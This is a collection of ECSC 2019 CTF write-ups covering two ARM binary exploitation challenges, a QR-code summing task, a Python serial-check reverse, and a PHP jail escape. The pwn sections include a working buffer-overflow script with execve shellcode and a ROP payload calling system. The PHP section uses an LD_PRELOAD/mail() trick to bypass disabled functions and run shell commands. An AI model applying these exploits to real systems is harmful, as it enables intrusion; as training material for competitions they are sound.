ECSC 2019 - leHack - harmless

nc harmless.ecsc 4001

category: pwn - 50

An ARM file is attached to the description.

# file harmless 
harmless: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=178af1dac64991bbb0c54613d9c12c39e1fc231f, not stripped

Using gdb-multiarch, we can retrieve the instructions with disas, but here for more simplicity I’ll output the decompiled code with IDA:

lehack_harmless_disas.png

Look’s like we can overflow in every variable… You can notice that if we say “Y” to the “Are you a developper?” question, the program display variable addresses. So we will try to go in the branch.

Moreover, I manage to find the entry length that makes an error on the server:

# python -c "print 'a\n' + 'a\n' + 'Y\n' + 'a'*171 + '\n'" | qemu-arm ./harmless 
Hello, and welcome to ECSC!
My name is Michel.
What's your name?
>> Nice to meet you a. How old are you?
>> Are you a developper? [Y/N]
>> This might be useful for you:
	username: 0xfffef280
	     age: 0xfffef27c
	     dev: 0xfffef278
	 comment: 0xfffef1f8
Feel free to drop us a short comment about this CTF.
>> Thanks for your feedback!
Bye.





# python -c "print 'a\n' + 'a\n' + 'Y\n' + 'a'*172 + '\n'" | qemu-arm ./harmless 
Hello, and welcome to ECSC!
My name is Michel.
What's your name?
>> Nice to meet you a. How old are you?
>> Are you a developper? [Y/N]
>> This might be useful for you:
	username: 0xfffee580
	     age: 0xfffee57c
	     dev: 0xfffee578
	 comment: 0xfffee4f8
Feel free to drop us a short comment about this CTF.
>> Thanks for your feedback!
Bye.
qemu: uncaught target signal 4 (Illegal instruction) - core dumped
Illegal instruction

As you can see, it throws an error because we manage to write a \x00 in the return address.

Okay we have all we need.

First we are going to go in the developer branch. Then we put a shellcode on the v4 variable (the comment variable) and we have to overflow writing the address of v4 in the return address (&v4).

This is the commented code in python doing these steps:

from pwn import *
import struct

# Our Shellcode -> http://shell-storm.org/shellcode/files/shellcode-904.php
# I tried another shellcode (31 bytes) but this one was not working
shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"

conn = remote('harmless.ecsc',4001)

# Send username, age, and say that we are developer
print conn.recvuntil('>>', drop=True) + '>> a'
conn.sendline('a')
print conn.recvuntil('>> ', drop=True) + '>> a'
conn.sendline('a')
print conn.recvuntil('>> ', drop=True) + '>> Y'
conn.sendline('Y')

# Get the variables addresses
res = conn.recvuntil('>> ', drop=True) + '>> '
print res

# Get the address of the comment variable (&v4)
val = int(res[res.find('comment: ')+9:res.find('comment: ')+9+10],16)

# Create our payload to overflow
payload = shellcode + 'a'*(172 - len(shellcode)) + struct.pack('<I', val)

conn.sendline(payload)

# Interactive mode
conn.interactive()

And the output:

# python script.py
[+] Opening connection to harmless.ecsc on port 4001: Done
Hello, and welcome to ECSC!
My name is Michel.
What's your name?
>> a
 Nice to meet you a. How old are you?
>> a
Are you a developper? [Y/N]
>> Y
This might be useful for you:
    username: 0xfffef250
         age: 0xfffef24c
         dev: 0xfffef248
     comment: 0xfffef1c8
Feel free to drop us a short comment about this CTF.
>> 
[*] Switching to interactive mode
Thanks for your feedback!
Bye.
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls
flag
harmless
run.sh
$ cat flag
lh_fc6edd667efb8ce882565f7dbfcd4dc1ea65d411eb6e7e0ba0ad3c156d0719fc

Yeah ! the flag is lh_fc6edd667efb8ce882565f7dbfcd4dc1ea65d411eb6e7e0ba0ad3c156d0719fc

ECSC 2019 - qrcode

description: QR Codes everywhere!

category: misc - 102

ecsc_qrcode.png

The challenge is giving us a command to interact with the service: nc challenges.ecsc-teamfrance.fr 3001.

# nc challenges.ecsc-teamfrance.fr 3001
Programming challenge
---------------------
I will send you a PNG image compressed by zlib encoded in base64 that contains 64 encoded numbers.
The expected answer is the sum of all the numbers (in decimal).
You have 2 seconds.
Are you ready? [Y/N]
>>Y
eJztvQtUU2faNtyZjjqv1XbmTa2CojNj24wwajEihxD4Wlu11oIWdoBAoDVNIgFBDCFACLRa28Fy
[...]
5hsxrwtfe/fM/wRHoMqu
What is you answer?
>> 
Time is up!

Okay, we have to make a sum, let’s see the base64: ecsc_qrcode_b64.png

There is 64 qrcodes and represent an encoded number.

So we have to retrieve the image, cut it in 64 squares decode each qrcode and sums them.

I found a cool lib on github and this is the python implementation to resolve the challenge:

from __future__ import division
import zlib
from pwn import *
import image_slicer
from pyzbar.pyzbar import decode

libed = ""
res = 0
f = open('output', 'wb')

r = remote('challenges.ecsc-teamfrance.fr', 3001)

r.recvuntil('>>')

r.send('Y\n')

while 1:
	tmp = r.recvline().strip()
	if "What" in tmp:
		break
	libed += tmp

str_object2 = zlib.decompress(libed.decode('base64'))

f.write(str_object2)
f.close()

tiles = image_slicer.slice('output', 64, save=False) # "Save=False" -> so it is not written to filesystem andd we save some time

for tile in tiles:
	data = decode(tile.image)
	res += int(str(data)[15:25])

r.send(str(res)+"\n")

r.recvuntil('>>')
while 1:
	print r.recvline()

And the output:

# python script.py 
[+] Opening connection to challenges.ecsc-teamfrance.fr on port 3001: Done
 Congrats! Here is your flag: ECSC{e076963c132ec49bce13d47ea864324326d4cefa}

Then the flag is ECSC{e076963c132ec49bce13d47ea864324326d4cefa}

ECSC 2019 - The Pytector

description: Retrouver le numéro de série pour valider le challenge

category: reverse - 484

ecsc_pytector.png

A zip file is attached to the description.

The zip file contains a .exe and some .pyd (dll) files.

Looking to IDA strings, I found some interesting things: ecsc_pytector_ida_strings.png

Also, I found interesting things with strings:

# strings check_serial.exe | grep check
incorrect header check
incorrect data check
incorrect length check
sfake_check				<---- interesting

With these information, we can guess some python scripts are packed in the PE and executed in a VM with python37.dll

I found a tool on github to extract these files:

# ls -l
total 1188
-rw-r--r-- 1 root root    1513 May 15 20:32 fake_check
-rw-r--r-- 1 root root    4171 May 15 20:32 pyiboot01_bootstrap
-rw-r--r-- 1 root root    1838 May 15 20:32 pyimod01_os_path
-rw-r--r-- 1 root root    9381 May 15 20:32 pyimod02_archive
-rw-r--r-- 1 root root   18701 May 15 20:32 pyimod03_importers
-rw-r--r-- 1 root root 1161295 May 15 20:32 PYZ-00.pyz
-rw-r--r-- 1 root root     357 May 15 20:32 struct

It is PYC file but the header is missing, I tried some tools but it didnt work well, then I found an online decompiler.

This is the fake_check.py file:

passwd = [
 432, 360, 264, 184, 56, 344, 340, 268, 280, 172, 64, 300, 320, 356, 356, 296, 328, 504, 356, 276, -4, 348, 52, 304, 256, 264, 184, 48, 280, 344, 312, 168, 296, -4, 128, 256, 264, 184, 40, 296, 340, 52, 280, 80, 504, 300, 296]
p = [43, 8, 26, 11, 3, 1, 46, 10, 28, 23, 13, 33, 0, 45, 34, 37, 16, 5, 36, 32, 9, 4, 20, 19, 25, 22, 17, 7, 27, 14, 42, 41, 18, 2, 6, 40, 30, 29, 15, 21, 44, 24, 39, 12, 35, 38, 31]

def check(serial):
    global p
    global passwd
    serialsize = len(serial)
    key = 'Complex is better than complicated'
    result = []
    for i in range(serialsize):
        result.append(((serial[p[i]] ^ key[(i % len(key))]) << 2) - 4)

    return result == passwd


def successful(serial):
    print('Good job!\nECSC}'.format(serial.decode('utf-8')))


def defeated():
    print('Not really')


def main():
    import pytector
    serial = input('Serial number: ').encode('utf-8')
    if check(serial):
        successful(serial)
    else:
        defeated()


if __name__ == '__main__':
    main()

I don’t know why but the script it XORing 2 char and it throws an error… I patched it adding the ord function, but I actually don’t know how it is working in… Okay the check function is easy to bruteforce (and we can guess the flag length: 47):

import string

passwd = [432, 360, 264, 184, 56, 344, 340, 268, 280, 172, 64, 300, 320, 356, 356, 296, 328, 504, 356, 276, -4, 348, 52, 304, 256, 264, 184, 48, 280, 344, 312, 168, 296, -4, 128, 256, 264, 184, 40, 296, 340, 52, 280, 80, 504, 300, 296]
p = [43, 8, 26, 11, 3, 1, 46, 10, 28, 23, 13, 33, 0, 45, 34, 37, 16, 5, 36, 32, 9, 4, 20, 19, 25, 22, 17, 7, 27, 14, 42, 41, 18, 2, 6, 40, 30, 29, 15, 21, 44, 24, 39, 12, 35, 38, 31]

def uncheck(serial, i):
    global p
    global passwd
    serialsize = len(serial)
    key = 'Complex is better than complicated'
    
    result = (( ord(serial[p[i]]) ^ ord(key[(i % len(key))])) << 2) - 4

    return result == passwd[i]

def bruteforce_check():
    global p
    global passwd
    result = "?"*47

    for i in range(47):
        for j in string.printable:
            tmp = list(result)
            tmp[p[i]] = j
            result = ''.join(tmp)
            if uncheck(result, i):
                break

    return result


if __name__ == '__main__':
    serial = bruteforce_check()
    print(serial)

This is our output:

42dc6_ba4ad_f14g!_....._....._....._....._.....

Well it seems that this is not the correct flag. Looking closely to the fake_check.py code, we forgot the import pytector line… Okay let’s see the pytector.pyd (in the initial .zip).

ecsc_pytector_py_strings.png

This strings lead us to some code modifying the fake_check during its execution.

The passwd table is modified: ecsc_pytector_passwd.png

The p table is modified: ecsc_pytector_p.png

And the check function bytecodes is modified too: ecsc_pytector_check.png

It is possible to do it in static but I prefer the dynamic way.

You cannot modify the check function (for example add some print) because the pytector will detect it and won’t work.

I added the pdb module to debug the script:

passwd = [
 432, 360, 264, 184, 56, 344, 340, 268, 280, 172, 64, 300, 320, 356, 356, 296, 328, 504, 356, 276, -4, 348, 52, 304, 256, 264, 184, 48, 280, 344, 312, 168, 296, -4, 128, 256, 264, 184, 40, 296, 340, 52, 280, 80, 504, 300, 296]
p = [43, 8, 26, 11, 3, 1, 46, 10, 28, 23, 13, 33, 0, 45, 34, 37, 16, 5, 36, 32, 9, 4, 20, 19, 25, 22, 17, 7, 27, 14, 42, 41, 18, 2, 6, 40, 30, 29, 15, 21, 44, 24, 39, 12, 35, 38, 31]

def check(serial):
    global p
    global passwd
    serialsize = len(serial)
    key = 'Complex is better than complicated'
    result = []
    for i in range(serialsize):
        result.append(((serial[p[i]] ^ key[(i % len(key))]) << 2) - 4)

    return result == passwd

def successful(serial):
    print('Good job!\nECSC}'.format(serial.decode('utf-8')))

def defeated():
    print('Not really')

def main():
    import pytector
    import pdb; pdb.set_trace()

    serial = "b"*47
    if check(serial):
        successful(serial)
    else:
        defeated()

if __name__ == '__main__':
    main()

This is what I’ve done in the debugger:

# python fake_check.py
> c:\users\ieuser\desktop\new\dist\fake_check.py(26)main()
-> serial = "b"*47
(Pdb) print(p)
[12, 36, 23, 17, 27, 34, 18, 25, 33, 42, 22, 21, 45, 20, 35, 13, 30, 38, 31, 28, 26, 10, 44, 29, 9, 11, 2, 4, 14, 1, 37, 15, 41, 19, 39, 24, 6, 7, 46, 32, 5, 8, 0, 3, 16, 43, 40]
(Pdb) print(passwd)
[1147, 1778, 1721, 1929, 1821, 1680, 2064, 654, 1822, 1842, 651, 1602, 1627, 1952, 1865, 1629, 1899, 608, 1951, 1755, 1610, 1711, 611, 1689, 1774, 1721, 1931, 1823, 1739, 1582, 1619, 1954, 1593, 1693, 1149, 1772, 1802, 1932, 1739, 1680, 2057, 604, 1824, 1834, 608, 1598, 1628]
(Pdb) print(check.__code__.co_varnames)
('serial', 'serialsize', 'key', 'result', 'i')
(Pdb) print(check.__code__.co_consts)
(None, 'Complex is better than complicated', 4, 42)
(Pdb) print(check.__code__.co_names)
('len', 'range', 'append', 'p', 'passwd')
(Pdb) print(check.__code__.co_code)
b't\x00|\x00\x83\x01}\x01d\x01}\x02g\x00}\x03x:t\x01|\x01\x83\x01D\x00].}\x04|\x03\xa0\x02|\x00t\x03|\x04\x19\x00\x19\x00|\x02|\x04t\x00|\x02\x83\x01\x16\x00\x19\x00d\x02>\x00A\x00d\x03\x17\x00\xa1\x01\x01\x00q\x1aW\x00|\x03t\x04k\x02S\x00'

Okay we have everything we need. Using the dis module we can disassemble the co_code:

>>> import dis
>>> a = b't\x00|\x00\x83\x01}\x01d\x01}\x02g\x00}\x03x:t\x01|\x01\x83\x01D\x00].}\x04|\x03\xa0\x02|\x00t\x03|\x04\x19\x00\x19\x00|\x02|\x04t\x00|\x02\x83\x01\x16\x00\x19\x00d\x02>\x00A\x00d\x03\x17\x00\xa1\x01\x01\x00q\x1aW\x00|\x03t\x04k\x02S\x00'
>>> dis.dis(a)
          0 LOAD_GLOBAL              0 (0)
          2 LOAD_FAST                0 (0)
          4 CALL_FUNCTION            1
          6 STORE_FAST               1 (1)
          8 LOAD_CONST               1 (1)
         10 STORE_FAST               2 (2)
         12 BUILD_LIST               0
         14 STORE_FAST               3 (3)
         16 SETUP_LOOP              58 (to 76)
         18 LOAD_GLOBAL              1 (1)
         20 LOAD_FAST                1 (1)
         22 CALL_FUNCTION            1
         24 GET_ITER
    >>   26 FOR_ITER                46 (to 74)
         28 STORE_FAST               4 (4)
         30 LOAD_FAST                3 (3)
         32 LOAD_METHOD              2 (2)
         34 LOAD_FAST                0 (0)
         36 LOAD_GLOBAL              3 (3)
         38 LOAD_FAST                4 (4)
         40 BINARY_SUBSCR
         42 BINARY_SUBSCR
         44 LOAD_FAST                2 (2)
         46 LOAD_FAST                4 (4)
         48 LOAD_GLOBAL              0 (0)
         50 LOAD_FAST                2 (2)
         52 CALL_FUNCTION            1
         54 BINARY_MODULO
         56 BINARY_SUBSCR
         58 LOAD_CONST               2 (2)
         60 BINARY_LSHIFT
         62 BINARY_XOR
         64 LOAD_CONST               3 (3)
         66 BINARY_ADD
         68 CALL_METHOD              1
         70 POP_TOP
         72 JUMP_ABSOLUTE           26
    >>   74 POP_BLOCK
    >>   76 LOAD_FAST                3 (3)
         78 LOAD_GLOBAL              4 (4)
         80 COMPARE_OP               2 (==)
         82 RETURN_VALUE

Nice, all we have to do is to read this.

I added comments to understand it:

(PS:

LOAD_CONST index -> load co_consts[index]

LOAD_GLOBAL index -> load co_names[index]

LOAD_FAST index -> load co_varnames[index])

      0 LOAD_GLOBAL              0 (0)			# load len
      2 LOAD_FAST                0 (0)			# load serial
      4 CALL_FUNCTION            1				# call len(serial)
      6 STORE_FAST               1 (1)			# serialsize = len(serial)
      8 LOAD_CONST               1 (1)			# load 'Complex is better than complicated'
     10 STORE_FAST               2 (2)			# key = 'Complex is better than complicated'
     12 BUILD_LIST               0				# []
     14 STORE_FAST               3 (3)			# result = []
     16 SETUP_LOOP              58 (to 76)
     18 LOAD_GLOBAL              1 (1)			# range
     20 LOAD_FAST                1 (1)			# serialsize
     22 CALL_FUNCTION            1				# call range
     24 GET_ITER
>>   26 FOR_ITER                46 (to 74)		# start for
     28 STORE_FAST               4 (4)			# i
     30 LOAD_FAST                3 (3)			# result
     32 LOAD_METHOD              2 (2)			# result.append()
     34 LOAD_FAST                0 (0)			# serial
     36 LOAD_GLOBAL              3 (3)			# serial[p]
     38 LOAD_FAST                4 (4)			# sesrial[p[i]]
     40 BINARY_SUBSCR							# serial[p[i]]
     42 BINARY_SUBSCR							# serial[p[i]]
     44 LOAD_FAST                2 (2)			# key
     46 LOAD_FAST                4 (4)			# key[i]
     48 LOAD_GLOBAL              0 (0)			# len
     50 LOAD_FAST                2 (2)			# key[i % len(key)]
     52 CALL_FUNCTION            1				# key[i % len(serialsize)]
     54 BINARY_MODULO							# key[i % len(serialsize)]
     56 BINARY_SUBSCR							# key[i % len(serialsize)]
     58 LOAD_CONST               2 (2)			# key[i % len(serialsize)] << 4
     60 BINARY_LSHIFT
     62 BINARY_XOR								# (serial[p[i]] ^ key[i % len(serialsize)] << 4)
     64 LOAD_CONST               3 (3)			# 42
     66 BINARY_ADD								# (serial[p[i]] ^ key[i % len(serialsize)] << 4) + 42
     68 CALL_METHOD              1
     70 POP_TOP
     72 JUMP_ABSOLUTE           26
>>   74 POP_BLOCK								# Same than original file
>>   76 LOAD_FAST                3 (3)
     78 LOAD_GLOBAL              4 (4)
     80 COMPARE_OP               2 (==)
     82 RETURN_VALUE

Okay we have the new code, we can finaly get the flag:

import string

p = [12, 36, 23, 17, 27, 34, 18, 25, 33, 42, 22, 21, 45, 20, 35, 13, 30, 38, 31, 28, 26, 10, 44, 29, 9, 11, 2, 4, 14, 1, 37, 15, 41, 19, 39, 24, 6, 7, 46, 32, 5, 8, 0, 3, 16, 43, 40]
passwd = [1147, 1778, 1721, 1929, 1821, 1680, 2064, 654, 1822, 1842, 651, 1602, 1627, 1952, 1865, 1629, 1899, 608, 1951, 1755, 1610, 1711, 611, 1689, 1774, 1721, 1931, 1823, 1739, 1582, 1619, 1954, 1593, 1693, 1149, 1772, 1802, 1932, 1739, 1680, 2057, 604, 1824, 1834, 608, 1598, 1628]

def uncheck(serial, i):
    global p
    global passwd
    serialsize = len(serial)
    key = 'Complex is better than complicated'
    
    result = (ord(serial[p[i]]) ^ (ord(key[(i % len(key))]) << 4))+ 42

    return result == passwd[i]

def bruteforce_check():
    global p
    global passwd
    result = "?"*47

    for i in range(47):
        for j in string.printable:
            tmp = list(result)
            tmp[p[i]] = j
            result = ''.join(tmp)
            if uncheck(result, i):
                break

    return result


if __name__ == '__main__':
    serial = bruteforce_check()
    print(serial)

And the output:

# python final.py 
f4a05_0b24e_ac186_f368a_2d031_a56d6_896cb_849aa

This is the good flag: ECSC{f4a05_0b24e_ac186_f368a_2d031_a56d6_896cb_849aa}

ECSC 2019 - PHP Jail

description: Saurez-vous sortir de cette prison PHP pour retrouver le fichier flag présent sur le système ?

category: misc - 288

ecsc_jail.png

The challenge is giving us a command to interact with the service: nc challenges.ecsc-teamfrance.fr 4002.

# nc challenges.ecsc-teamfrance.fr 4002

    /// PHP JAIL ////

    There's a file named flag on this filesystem.
    Find it.
    Read it.
    Flag it.


Enter your command: 
Too slow!
Bye!

We can execute a php command and it will be executed. Let’s see the phpinfo (I deleted useless lines):

# python -c "print 'phpinfo();'" | nc challenges.ecsc-teamfrance.fr 4002
[...]
disable_functions => system, exec, shell_exec, passthru, show_source, popen, proc_open, fopen_with_path, dbmopen, dbase_open, move_uploaded_file, chdir, mkdir, rmdir, rename, filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo, fopen, fread, file_get_contents, readfile, opendir, readdir, scandir, glob, file, dir, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, virtual, openlog, closelog, ini_set, ini_restore, ignore_user_abort, link, pcntl_alarm, pcntl_exec, pcntl_fork, pcntl_get_last_error, pcntl_getpriority, pcntl_setpriority, pcntl_signal, pcntl_signal_dispatch, pcntl_sigprocmask, pcntl_sigtimedwait, pcntl_sigwaitinfo, pcntl_strerror, pcntl_wait, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, is_dir => system, exec, shell_exec, passthru, show_source, popen, proc_open, fopen_with_path, dbmopen, dbase_open, move_uploaded_file, chdir, mkdir, rmdir, rename, filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo, fopen, fread, file_get_contents, readfile, opendir, readdir, scandir, glob, file, dir, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, virtual, openlog, closelog, ini_set, ini_restore, ignore_user_abort, link, pcntl_alarm, pcntl_exec, pcntl_fork, pcntl_get_last_error, pcntl_getpriority, pcntl_setpriority, pcntl_signal, pcntl_signal_dispatch, pcntl_sigprocmask, pcntl_sigtimedwait, pcntl_sigwaitinfo, pcntl_strerror, pcntl_wait, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, is_dir
[...]

Ofc we can’t use system, shell_exec, etc…

But mail() and putenv() are enabled so we can execute a command using LD_PRELOAD because mail() is calling execve().

To understand clearly you can read this post

So we will use this github tool

# cat rev.sh
#!/bin/sh

find / -name flag
# python chankro.py --arch 64 --input rev.sh --output chan.php --path /tmp


     -=[ Chankro ]=-
    -={ @TheXC3LL }=-


[+] Binary file: rev.sh
[+] Architecture: x64
[+] Final PHP: chan.php


[+] File created!

Then I modify the file so the payload is stored on 1 line (the line must end with an \n else the command won’t be executed) and we send it using nc:

# cat chan.php | nc challenges.ecsc-teamfrance.fr 4002

    /// PHP JAIL ////

    There's a file named flag on this filesystem.
    Find it.
    Read it.
    Flag it.


Enter your command: /home/user0/.sensitive/randomdir/flag
/usr/local/lib/python2.7/dist-packages/pwnlib/flag

Bye!

Nice, all we have to do is to change rev.sh, regenerate the chan.php file and send it to the serveur:

# cat rev.sh
#!/bin/sh

cat /home/user0/.sensitive/randomdir/flag


# python chankro.py --arch 64 --input rev.sh --output chan.php --path /tmp


     -=[ Chankro ]=-
    -={ @TheXC3LL }=-


[+] Binary file: rev.sh
[+] Architecture: x64
[+] Final PHP: chan.php


[+] File created!


// Modify chan.php so the payload is stored on 1 line and ending with '\n'


# cat chan.php | nc challenges.ecsc-teamfrance.fr 4002

    /// PHP JAIL ////

    There's a file named flag on this filesystem.
    Find it.
    Read it.
    Flag it.


Enter your command: ECSC{22b1843abfd76008ce3683e583c66e85c6bbdc65}

Bye!

The flag is ECSC{22b1843abfd76008ce3683e583c66e85c6bbdc65}

ECSC 2019 - ¡ Hola Armigo !

description: Exploitez le binaire fourni pour en extraire flag.

nc challenges.ecsc-teamfrance.fr 4004

category: pwn - 394

ecsc_hola_armigo.png

An ARM file is attached to the description.

Using gdb-multiarch, we can retrieve the instructions:

ecsc_armigo_pdisas.png

Okay, so we can control lr.

I tried to find "/bin/sh" unsuccessfully but I found "/bin/cat" instead (at 0x733fc):

ecsc_armigo_cat.png

All we need now is to put "/bin/cat" in r0 before calling system.

We need the address of system to execute our cat command:

p system
$3 = {<text variable, no debug info>} 0x171c4 <system>

I used ROPgadget to find some gadgets:

# python ROPgadget.py --binary ../armigo | grep ": pop {r0"
0x000703c8 : pop {r0, lr} ; bx lr
0x000703c8 : pop {r0, lr} ; bx lr ; str lr, [sp, #-8]! ; bl #0x703d4 ; moveq r0, #1 ; movne r0, #0 ; ldr lr, [sp], #8 ; bx lr
[...]
0x00027504 : pop {r0, r4, lr} ; bx lr
0x00070394 : pop {r0} ; bx lr

Well, the first one is perfect for our purpose (at 0x703c8).

So we will overflow, put our rop gadget address in lr, then put address of "/bin/cat" in r0 and jump to system. This is our payload:

# python -c "print 'a'*68 + '\xc8\x03\x07\x00' + '\xfc\x33\x07\x00' + '\xc4\x71\x01\x00'" | nc challenges.ecsc-teamfrance.fr 4004
Hello, what's your name?
Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�!
ECSC{83f0ffc67a36bb6573e8c466e22b672e678df3bf}

Finally, the flag is ECSC{83f0ffc67a36bb6573e8c466e22b672e678df3bf}